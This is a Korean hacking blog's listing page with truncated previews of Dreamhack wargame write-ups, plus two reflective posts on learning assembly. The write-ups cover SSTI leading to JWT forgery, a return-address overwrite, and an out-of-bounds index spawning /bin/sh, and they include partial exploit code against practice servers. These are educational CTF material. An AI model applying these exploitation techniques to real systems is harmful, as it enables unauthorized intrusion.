본문 바로가기

hacking sorcerer

(372)
드림핵 dreamschool ~~파도 ~~~ 별 지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다 일단 ssti취약점이 있다 !! 쿠궁 ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데 이는 ​ import jwt import datetime ​ pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CI..
dreamhack return address Overwrite # sget_shell GET_SHELL_ADDR = p64(0x004006aa​) # attack !!!!@!@!@#!@!!! PAYLOAD = "\x90"*48 PAYLOAD += "BBBBBBBB" ~~~~~~~~~~~~~~~~~~~~~~~ 대략 이런 식으로 몇 번 공격해주면 바로 flag를 뱉어낸다 ​
dreamhack Oob int main() { int idx; ​ initialize(); ​ printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); ​ scanf("%d", &idx); ​ system(command[idx]); ​ return 0; } ​ 대충 이름을 물어보고 입력값을 받는다 배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다. ​ p.recvuntil(b"Admin name: “) payload = p32(name+4) payload += b”/bin/sh" p.sendline(payload) p.recvuntil(b"What do..
godbolt로 어셈블리어 이해하기 최근에 리버싱이나 어셈블리어 등을 아예 처음 접하는 사람들을 몇 분 만나서 하나씩 하나씩 다시 가르쳐주거나 이해시켜주어야 되는 일이 있었습니다 특히 정말 나이가 어린 분께 하나씩 가르쳐주는 건 어려운 일이었습니다 그러다보니 제가 리버싱과 어셈블리어를 처음 접했을 때를 떠올리게 되었습니다 ​ 리버싱 혹은 어셈블리어 등을 공부할 때 자주 듣는 말이 있습니다 “계속 접해보다보면, 계속 분석하다보면 잘하게 될거야” 너무나 맞는 말이라고 생각합니다 본인의 실력이 아직 얼마나 부족한 지 아는 저 역시도 계속해서 분석하고 슬로싱킹하면서 실력을 쌓아나갈 수 밖에 없다는 것을 너무 잘 압니다 지금도 분석하다보면 배우는 게 너무 많고 새로운 게 너무 많습니다. ​ 그런데 사실 초보분들이 가지는 문제점은 그 분석을 시작하자..
한계 돌파하기 리버싱과 시스템 해킹 *godbolt로 어셈블리어 이해하기 이 글을 참고해주시면 감사할 거 같습니다 ​ 최근에 내 한계점을 돌파할 수 있어서 너무 고맙고 재미있어서 이 글을 적게 되었다. 'godbolt로 어셈블리어 이해하기' 이 글에도 어느 정도 비슷한 내용이 적혀 있긴 한데 그거랑은 또 다른 큰 즐거움이었다. 몇 달 전부터 잘 이해가 안 되고 많이 어려움을 겪던 부분이 있었다. 단순히 어떤 특정 분야라고 뭉뚱그려서 얘기하기는 어렵지만, 아무튼 누구나 길을 정진하다보면 있을 수 있는 장벽이랄까 어려움이랄까 그런 게 있었다. 근데 오히려 그 장벽 앞에서 더 노력하니까 더 열심히 하니까 되긴 되더라. 안 되던 부분이 결국엔 이해되고 절대 안 풀릴 거 같던게 결국엔 되고 정말 어려운 것도 결국엔 해결 되더라 정말 너무 신기하고 ..
dreamschool (dreamhack) 문제에 딸려있는 dockerfile에 중요한 힌트가 있는 문제이다 원래 최신 버전에는 pub key만으로 개인키를 유추할 수 없게끔 되어있지만 이 문제는 의도적으로 그 부분을 삭제해버렸다 ​ 이 문제 안에는 중요한 취약점이 있는데 그 취약점을 통해서 pub key를 얻을 수 있도록 구성되어 있다 위에 말한 것처럼 삭제되어 있는 부분을 통해 개인키까지도 유추할 수 있도록 구성되어 있고 그것을 통해서 인증을 통과할 수 있다 ​ 그러나 자세히 보면 또 다른 인증이 있음을 알 수 있다 통과할 방법이 없는 거 같은데 그러면 어떻게 해야 하는 걸까? ​ headers = { 'cookie': f'token={token}'} url_base = 'http://host1.dreamhack.games:16766/s/드림..
드림핵 rev-basic-7 import string import integer #RotateLeft Function ​ def rotateLeft(x, n): ​ shiftBit = x > 8 - n ​ result= shiftBit | carryBit ​ return result ​ #RotateRight Function def rotateRight(x, n): ​ shiftBit = x >> n ​ carryBit = x
드림핵 rev-basic-6 import string secretData = [0x00, 0x4D, 0x51, 0x50, 0xEF, 0xFB, 0xC3, 0xCF, 0x92, 0x45, 0x4D, 0xCF, 0xF5, 0x04, 0x40, 0x50, 0x43, 0x63, 0x0E] strangeData = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0..